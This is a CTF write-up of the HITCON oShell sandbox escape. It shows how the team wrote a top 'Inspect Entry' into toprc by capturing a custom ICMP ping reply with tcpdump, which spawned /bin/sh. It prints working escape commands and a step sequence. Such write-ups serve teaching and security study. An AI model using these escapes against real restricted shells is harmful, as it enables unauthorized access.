HITCON CTF is no joke. The challenges were crazy hard and very interesting at the same time. This first writeup will be about oShell which was a sandbox escape. This will not cover the first section of the challenge but will focus more on the sandbox escape using tcpdump and ping.

I wasn’t involved in the first part of the challenge which was activating “enabled” mode. This was all done to my knowledge by Meow. To quickly summarize my understanding of how we got to enabled mode, we essentially open two ssh connections. In our first connection we run htop and strace the second shell. Following this, we just run enable on the second shell and view the calls made by our first shell. This gives us the real enable password which we can then just type in.

Cool, now we have enable mode but what does this actually do? The main difference is we get access to tcpdump which is a tool used to monitor network traffic. At this point we were stuck for a while as we didn’t know what to do to actually break out of the restricted environment. Let’s collect what we know and have so far. In terms of binaries that can be useful, doing a quick search on GTFObins it seems like the top binary can be used to escape. In addition, we went through the trouble of getting tcpdump so that must also be involved in escaping the environment.

The first thing I tried with tcpdump was to use redirection in order to give us an arbitrary write on the system. This was completely incorrect as I redirection simply wasn’t working in the remote environment. However, this wasn’t fruitless as I also learned how to escape the environment using top and what our command needed to look like.

GTFObins provides a pretty good introductory explanation of how to escape the shell but in order to understand it, we had to look further at the documentation here. Before diving into the complete structure, let’s look at what GTFObins tells us.

echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc
top
# press return twice
reset

Okay so it seems to be writing to a file called toprc and then we press return twice and just get a shell?

Actually yes, this is not far from what actually happens but let’s take a closer look. From the documentation, we see that the first 15 lines of the config are critical and conveniently automatically generated by calling top then pressing W. This will write those 15 lines to our config file and also tell us where it is. The 15 lines of information will become much more important later. By doing this, we see that our config file is actually located at /home/oShell/.toprc.

Now let’s investigate what we are actually supposed to append to the file. From the documentation, we know that the configurations have to be very strict. There can be no excess characters at the beginning, the first column must be either pipe or file, followed by a real tab, then a letter, then another real tab, and finally our command. Essentially what we are trying to accomplish is adding our own Inspect Entries. These are entries that we can later execute inside top. Once again, the detail about the strictness of the config file will come into play later.

In order to actually use our shell after we append that to our config, it is actually pretty simple.

1. run top
2. press Y to enter interactive mode and enter to use the default PID
3. press X which is the name of our Inspect Entry
4. profit with a not so visually pleasing but working shell!

At this point, we know exactly what we have to do. All we need to do is to append pipe\tx\texec /bin/sh 1>&0 2>&0 to our toprc config and we have a shell. Easy right? Wrong. Now we enter the coolest and trickiest part of the challenge. This work was done mostly by ConnorJC and it was a very smart and cool methodology so I have chosen to write it up but all the credit goes to him.

The first thing we have to realize is that tcpdump is still our write primitive. However, we must tackle a few problems: 1) we cannot use file redirects 2) we must get our content into tcpdump 3) the content we paste must be formatted properly 4) the server is NATed. We will tackle these problems one at a time.

In order to bypass the first issue of not having file redirects, we can use the properties of tcpdump itself. Without going too much into the other flags, the most important one is that we can use the W flag to declare the file we want to output the contents of tcpdump to. This can be rewritten as the following in order to write to the toprc config file.

tcpdump -n -i any -U -w /home/oShell/.toprc icmp

This command is listening for icmp and is writing the output to the toprc file. Great, we’ve solved the first problem of not using file redirects.

Now we will tackle problems 2 and 4 together. The first thought to getting our data into tcpdump would be to send a ping with a payload. However, because the server is NATed, we cannot directly send ping requests with a payload and have it show up in tcpdump. In order to bypass this, we decided to reconfigure a server we controlled to respond to ping requests with the payload we needed. The tool we used can be found here. A side note is that this actually wasn’t working on AWS for me because AWS servers are also NATed.

With the custom ping response, we are now able to send a ping request from the shell server to our server and have it respond with the payload. Thus, our payload would now show up in tcpdump. The following is the command with which we ran the ping responder in order to return our payload.

sudo docker run --read-only -d --restart always --net=host --init --name ping-responder ping-responder:latest ./ping-responder.py -i eth0 -s $'\npipe\x09x\x09exec /bin/sh 1>&0 2>&0\n'

You may notice that at the beginning of our payload we add a newline as well as at the end. This is one small part of how we tackled problem 3 which was the unclean input. Let’s quickly summarize our situation so far. We are able to write all of the content of icmp requests that tcpdump views to the toprc file and we can choose one small part of all this traffic. How can we make it so we modify the toprc file and align with its strict standards?

It is important to note that while the first 15 lines are very important and are generated by the W command within top, the rest of the lines are either accepted if correct or ignored if incorrect. This means we can fill all the other lines from 16 to EOF with junk as long as our one good payload is on its own line within it. Another detail is that tcpdump does not append to the output file, it first deletes all its contents then begins writing.

In order to solve this problem, ConnorJC came up with a really smart trick which can be summed to the following assuming we have all the ping responder setup at x.y.z. We will need 3 different shells to accomplish this (1 - Enabled, 2,3 - Normal shells). The number following each line is the shell we will execute it with.

1. top -> W -> write config [2]
2. tcpdump -n -i any -U -w /home/oShell/.toprc icmp [1]
3. ping 1.1.1.1 a few times [3]
4. top -> W -> rewrite config [2]
5. ping x.y.z [3]
6. top -> Y -> 2x Enter [2]
7. shell and profit! [2]

Now let’s break this down one step at a time. First, we must open a normal shell and create the initial config using top. Then, in our enabled shell, we will start tcpdump and point its output to the toprc file. The next step is where a really smart trick comes into play. We first ping a random ip address a few times. The reasonining behind this is to push the seek forward from the tcpdump write. Remember that the content at the beginning of toprc is very important and we have just overrode it but our seek is now further down in the file. After pinging the random ip, we then regenerate the toprc config. This essentially instates the critical information in the first 15 lines of the config and doens’t touch the rest.

Now, we ping our server and get the payload to show up in tcpdump. Keep in mind that it begins and ends with a newline so our payload will always be on its own line. Even though there may be other junk within the toprc file, it doesn’t matter because it will see our valid Inspect Entry. You might think that this would overwrite the regeneration of the first 15 lines however, remember we pinged random addresses earlier and seeked later in the file. This means that our new content won’t overwrite the regenerated first 15 lines. This was such a cool idea!

Now the rest is easy, we can just restart top by exiting and calling it again, and use what we discussed earlier of pressing Y to enter interactive mode, then calling our own inspect entry to get a shell. With that, we can just cat the flag and win.

To conclude, I thought this challenge was really well put together. It invovled a lot of really cool components from the top sandbox escape to writing uncleanly with tcpdump and needing to figure out how to fix that. I mainly worked with Meow and ConnorJC on this problem and it was a really cool experience and I definitely learned a lot.